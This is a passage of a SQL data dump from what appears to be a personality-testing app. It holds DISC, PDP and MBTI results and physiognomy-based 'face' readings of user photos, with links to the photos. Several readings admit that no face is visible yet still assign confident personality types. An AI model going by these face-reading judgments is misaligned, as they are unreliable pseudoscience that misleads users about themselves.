\"4\": \"S\", \"5\": \"S\", \"6\": \"S\", \"7\": \"S\", \"8\": \"S\", \"9\": \"S\", \"10\": \"S\", \"11\": \"S\", \"12\": \"S\", \"13\": \"S\", \"14\": \"S\", \"15\": \"S\", \"16\": \"S\", \"17\": \"S\", \"18\": \"S\", \"19\": \"S\", \"20\": \"S\"}, \"completedAt\": \"2026-02-27T04:03:07.050Z\", \"description\": {\"type\": \"S型\", \"color\": \"#10B981\", \"title\": \"稳健型\", \"careers\": [\"人力资源\", \"客户服务\", \"行政\"], \"strengths\": [\"可靠稳定\", \"团队协作\", \"耐心倾听\"], \"weaknesses\": [\"可能抗拒变化\", \"决策较慢\"], \"description\": \"稳重可靠,注重团队和谐\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 5, \"S\": 95}, \"dominantType\": \"S\", \"testDuration\": 17, \"secondaryType\": \"I\"}', NULL, 31, 1, 1, 1, 1772172257, 1772164987, 1772172260, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (29, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T06:13:26.991Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 16, \"secondaryType\": \"I\"}', NULL, 32, 1, 1, 1, 1772172825, 1772172807, 1772172828, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (30, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,内敛却有主见,善于思考与规划,适合深度研究与长期项目推进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体偏木水形,相骨清秀不臃,骨感适中偏文弱,重心在上停与中停,更重思考谋划而非强势进攻。\", \"faceAnalysis\": \"额头较宽平,眼神安定含蓄,鼻梁秀直,嘴唇柔和收敛,下颌略尖,下停偏弱显思维感性细腻。\", \"personalitySummary\": \"性格安静理性,有同理心与洞察力,重视个人边界与独立空间,做事稳妥细腻,擅长在幕后规划与支持他人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772172961, 1772172961, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (31, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 1, \"I\": 0, \"J\": 1, \"N\": 0, \"P\": 6, \"S\": 7, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTP\", \"timestamp\": \"2026-02-27T06:16:32.131Z\", \"confidence\": 94, \"completedAt\": \"2026-02-27T06:16:32.131Z\", \"description\": {\"name\": \"企业家\", \"type\": \"ESTP\", \"careers\": [\"销售\", \"企业家\", \"运动员\"], \"category\": \"探险家\", \"strengths\": [\"果断\", \"务实\", \"善于应变\"], \"weaknesses\": [\"可能冲动\", \"缺乏耐心\"], \"description\": \"精力充沛、务实的行动者\"}, \"testDuration\": 27, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 1, \"P\": 6, \"dominant\": \"P\", \"percentage\": 86}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 1, \"T\": 7, \"dominant\": \"T\", \"percentage\": 88}}}', NULL, NULL, 0, 0, NULL, NULL, 1772172992, 1772172992, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (32, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 20, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-02-27T06:17:08.676Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 100, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 15, \"secondaryType\": \"Peacock\"}', NULL, NULL, 0, 0, NULL, NULL, 1772173028, 1772173028, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (33, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T06:17:36.507Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 16, \"secondaryType\": \"I\"}', NULL, NULL, 0, 0, NULL, NULL, 1772173056, 1772173056, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (34, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻周全,内敛但有自身原则与坚持,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏纤细水木形,骨肉匀称不夸张,更多重心在思考与感知,属于稳健内收型,韧性佳但不喜正面强冲。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神专注温和,鼻梁清秀,唇形柔和收敛,下颌线细窄,整体给人安静理性、敏感细腻之感。\", \"personalitySummary\": \"内向深思,情感细腻但不外露,做事有规划有分寸,重视长期价值与内在原则,人际上温和有界限,擅长在幕后策划与支持。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772245663, 1772245663, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (35, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性内敛、思维敏捷,重视独立空间与深度思考,适合专业研究与策略分析型道路。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体骨相纤长偏木形,骨肉匀称而不厚重,重思考与策略胜于强势掌控,耐力稳定偏持久。\", \"faceAnalysis\": \"额头偏高显理性与学习力,眼神专注带思索感,鼻梁清秀重理性判断,嘴形含蓄不事张扬。\", \"personalitySummary\": \"偏理性与独立,逻辑感强,好奇心重,情绪表现克制,人际有边界,擅长在安静环境中深度研究和解决复杂问题。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772245716, 1772245716, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (36, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性安静、独立思考,重视逻辑与个人空间,适合深度研究与创造性工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感偏细长,骨肉匀称,五官线条清晰,属于理性思辨型骨相,耐力中等但专注度高。\", \"faceAnalysis\": \"额头较饱满、眼神沉静理性,鼻梁清秀,嘴形含蓄内敛,整体给人冷静、安静而有思考感。\", \"personalitySummary\": \"思维抽象敏锐,善于分析问题与拆解结构,情绪外显度低,做人有分寸感,偏安静内敛但在熟悉领域表达坚定有主见。\"}', NULL, 36, 1, 0, 800, NULL, 1772246018, 1772258632, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (37, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻理性,外冷内暖,擅长独立思考与长期规划,重视自我节奏与内在价值。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉匀称而不厚重,颧骨不显主控欲适中,下颌线柔中带坚,整体以稳健内敛为主。\", \"faceAnalysis\": \"额头平顺饱满,眼神内敛专注,鼻梁清秀偏直,嘴唇柔和收敛,下巴略尖显韧性,整体偏理性含蓄。\", \"personalitySummary\": \"安静理性、思路清晰,情绪稳定度高,做事有计划有节奏,重视个人空间与深度思考,待人温和但边界感明确。\"}', NULL, NULL, 1, 0, 200, NULL, 1772259279, 1772259279, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (38, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静,重视逻辑与效率,擅长规划与统筹,做事稳健克制,执行力扎实。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c30b4767.42934501.jpg\"], \"boneAnalysis\": \"骨相偏方正稳重,骨肉匀称,五行以土金为主,格局偏中高,重视规则秩序与长期稳定。\", \"faceAnalysis\": \"额头平阔,眼神专注,鼻梁端正,嘴形收敛,下颌较稳,整体给人理性内敛、思维清晰之感。\", \"personalitySummary\": \"性格理性谨慎,注重计划与细节,责任感强,抗压能力佳,人际有边界感,偏向独立思考与默默执行。\"}', NULL, 37, 1, 0, 200, NULL, 1772259532, 1772259535, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (39, 1, 'face', '{\"pdp\": {\"primary\": \"变色龙\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTP\", \"title\": \"鉴赏家\"}, \"overview\": \"理性内敛、行动务实,重视效率和实际效果,适合在相对独立又需专业判断的环境中发挥专长。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1e9a9f06.87885663.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb7f794.01724681.jpg\"], \"boneAnalysis\": \"由于未呈现清晰面部与骨骼轮廓,仅能推测整体偏实务稳健型骨相,缺乏依据做更细分判断。\", \"faceAnalysis\": \"照片仅露出部分手部与发顶,面部特征信息不足,无法进行完整面相分析与对应传统条目判断。\", \"personalitySummary\": \"偏安静理性、重视事实与细节,习惯独立思考后再行动,适合技术、分析或需要冷静判断的角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772260136, 1772260136, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (40, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而带理想主义色彩,兼具细腻感受力与长期规划能力,适合深度思考与稳健推进型发展道路。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏瘦长木形,骨感清晰而不突兀,骨肉比例匀称,耐力与持续投入度较佳,重谋划与内在驱动,外向冲劲相对收敛。\", \"faceAnalysis\": \"额头偏宽平顺,眼神内敛专注,鼻梁细直,嘴唇柔和含蓄,下巴略尖,整体给人安静理性、思考型与敏感细腻的气质。\", \"personalitySummary\": \"思维周密内敛,重视秩序与自我标准,对细节敏锐有审美与分析能力;做事前多思考规划,偏理性克制,有原则感与责任心。\"}', NULL, NULL, 1, 0, 200, NULL, 1772260992, 1772260992, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (41, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻安静内敛,重视长期规划与自我成长,擅长在独立空间中深度投入与持续精进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部骨感轻盈,骨肉均匀偏薄,五行偏木水形,格局重思考与审美,抗压方式以理性分析与回避消耗为主。\", \"faceAnalysis\": \"额头略高偏窄、眼神温和内收、鼻梁秀直、嘴唇柔和含蓄、下巴偏尖清秀,整体偏理性内向型气质。\", \"personalitySummary\": \"性格安静克制,敏感但自持,重视原则与边界。做事追求完美与效率,偏向独立思考与深度学习,人际温和有礼但不主动扩圈。\"}', NULL, NULL, 1, 0, 200, NULL, 1772261454, 1772261454, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (42, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而细腻,思维有规划感,重视内在价值与长远发展,适合深度型与创造型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨感清晰不外露,颧骨平稳不张扬,下颌线柔中带刚,格局偏谋划与思辨型。\", \"faceAnalysis\": \"额头顺展偏高,眼神内敛专注,鼻梁细直,唇形柔和含蓄,下巴略尖带韧性,整体气质清冷理性。\", \"personalitySummary\": \"性格安静克制,思考周密,有同理心与理想主义倾向,做事追求完善与长期价值,人际上保留度高但可靠度强。\"}', NULL, NULL, 1, 0, 200, NULL, 1772262532, 1772262532, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (43, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻有规划,重内在标准与长期目标,适合深度研究与策略型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感清晰而不突兀,属木水形偏文质型,骨肉匀称,抗压方式以理性分析和持久稳守为主。\", \"faceAnalysis\": \"额头平顺饱满,眼神内敛专注,鼻梁秀直,嘴唇柔中带韧,整体五官清秀偏理性知性气质。\", \"personalitySummary\": \"内敛理智,情感深而不外露,做事有原则与规划感,重个人空间与思考深度,处事温和但内心主见坚定。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772263135, 1772263135, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (44, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性又具同理心,重视自我节奏与精神空间,适合深度思考与创意表达型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨骼纤细偏木形,骨肉匀称,颧骨不突下颌略尖,格局重思考与创意,偏谋划与独立完成型路线。\", \"faceAnalysis\": \"额头偏高顺滑、眼神内敛专注,鼻梁清秀,唇形柔和含蓄,整体给人安静理性、带距离感的气质。\", \"personalitySummary\": \"性格内向克制,思路细腻有逻辑,情绪稳定但不善外露,做事有计划感与完美倾向,人际上温和有分寸,重视边界与深度连接。\"}', NULL, NULL, 1, 0, 200, NULL, 1772263164, 1772263164, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (45, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻内敛,洞察力强,重视内在秩序与价值感,适合深度思考与长期规划型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉均匀不突兀,线条修长而不失韧性,决断偏稳健,抗压以内在消化和持久推进为主。\", \"faceAnalysis\": \"额头柔和偏高、眼神安静专注、鼻梁清秀、嘴唇自然内收,下巴略尖带柔韧感,整体显理性含蓄。\", \"personalitySummary\": \"性格安静理性,重视思考与自我空间,做事有计划、有责任感,人际中温和有边界,偏向深度创造与独立完成型任务。\"}', NULL, NULL, 1, 0, 100, NULL, 1772263566, 1772263566, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (46, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内活,情感细腻,善于互动与激励他人,适合创造性与变化性的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg\"], \"boneAnalysis\": \"线条圆润偏水土形,骨感不强但肉感充足,气质温和包容,稳定安全,耐受与适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,神态单纯好奇,嘴部微翘显顺,人缘佳、亲和力强。\", \"personalitySummary\": \"外向热情,善于表达与倾听,重视情感连接与深度交流,富有想象力和创造力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772263697, 1772263697, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (47, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内活,情感细腻,好奇心强,擅长与人连接并营造轻松氛围,适合创造性与互动性强的领域发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg\"], \"boneAnalysis\": \"线条圆润偏水土形,骨感不强而肉感充足,气质柔和包容,稳定安全,耐受力与环境适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,嘴部微翘,表情单纯好奇,整体给人温柔、亲近、无攻击感的印象。\", \"personalitySummary\": \"外向友好,内在敏感细腻,重视情感与深度交流;做事富有热情与创造力,乐于探索新事物并带动周围人。\"}', NULL, 38, 1, 1, 1, 1772263738, 1772263728, 1772263740, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (48, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"抽象思维突出,重视逻辑与系统性,擅长在不完整信息中构建结构化判断与远期规划。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9aca18e7.48721788.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ac90d83.92949209.jpg\"], \"boneAnalysis\": \"由于无清晰头面部骨骼轮廓可见,只能假设其偏理性稳健型骨相,重视结构与秩序。\", \"faceAnalysis\": \"当前图片未呈现清晰人脸,仅见强光与天花板结构,无法进行具体面相部位分析。\", \"personalitySummary\": \"倾向独立思考与理性决策,偏内向克制,重视规则和系统,追求长期价值与持续优化。\"}', NULL, 40, 1, 1, 1, 1772273330, 1772273315, 1772273332, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (49, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、重视结构与规划,做事有节奏感和持久度,适合承担复杂决策与长期项目推进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a3b45.19754294.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91de049.43887143.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a7166.23669621.jpg\"], \"boneAnalysis\": \"面部骨相信息严重不足,仅见额区与侧面轮廓一角,暂以骨感偏分明、整体偏理性稳健气质作抽象模拟。\", \"faceAnalysis\": \"从现有画面仅能见少量发际与轮廓,无法完整依据传统面相做部位细分判断,只可保守推定为偏理性内敛气质。\", \"personalitySummary\": \"模拟类型偏内向思考者,重逻辑与系统性,行事谨慎务实,专注长期目标与专业深耕,在独立思考和策略规划中更能发挥优势。\"}', NULL, NULL, 1, 0, 1, NULL, 1772422915, 1772422915, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (50, 6, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-02T03:42:57.180Z\", \"confidence\": 100, \"completedAt\": \"2026-03-02T03:42:57.180Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 37, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 7, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1772422977, 1772422977, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (51, 7, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健、目标导向清晰,擅长规划与执行,在结构化环境中表现突出,具长远发展潜力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a51b2d7ce365.67901942.jpg\"], \"boneAnalysis\": \"骨相端正,颧鼻协调不突兀,颌骨结实承载力强,上停与中停均衡,属稳健开拓型格局,适合担纲核心责任。\", \"faceAnalysis\": 